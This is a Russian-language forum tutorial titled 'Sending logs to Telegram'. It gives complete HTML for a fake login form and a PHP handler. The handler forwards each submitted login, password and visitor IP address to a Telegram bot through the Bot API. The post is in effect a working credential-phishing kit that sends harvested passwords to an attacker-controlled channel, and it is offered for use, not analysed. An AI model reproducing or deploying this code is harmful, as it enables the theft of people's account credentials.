1. 2xB27.07.2024 в 19:31от
  2. Adark27.07.2024 в 18:16от
Загрузка...

Отправка логов в telegram.

Тема в разделе "Web-программирование", создана пользователем GhostDesign, 28.07.2018.

  1. GhostDesign

    GhostDesign

    Статус:
    Оффлайн
    Регистрация:
    24.07.18
    Сообщения:
    5
    Репутация:
    0 +/-
    1.Создаем файл с расширением .html, в моем случае он главный, поэтому назову его index.html.
    HTML:
    <!DOCTYPE HTML>
    <head>
    <title>Тест. Отправка логов в телеграм</title>
    </head>
    <body>
    <center>
    <form method="post" action="main.php">
    <input type="text" name="login" placeholder="Логин">
    <br>
    <input type="password" name="pass" placeholder="Пароль">
    <br>
    <input type="submit" value="Отправить">
    </form>
    </center>
    </body>
    В нем находится форма с двумя инпутами (дефолт, логин-пароль). Отправка в обработчик идёт методом POST, а сам файл обработчика я назвал main.php. На выходе у вас получится точно так же
    [​IMG]

    2. В файле обработчике заявим все переменные, а именно: логин, пароль, ip адрес, токен, чат ид(в моем случае ник канала)
    PHP:
    <?php
    $login 
    $_POST['login'];
    $pass $_POST['pass'];
    $ip $_SERVER['REMOTE_ADDR'];
    $token 'токен';
    $chatid '@чат';
    $send file_get_contents("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chatid}&parse_mode=html&text=Был выполнен вход!%0AЛогин: {$login}%0AПароль: {$pass}%0AIP: {$ip}");
    ?>
    Как вы уже заметили все строиться на одной лишь ссылке, в которой и находятся все переменные.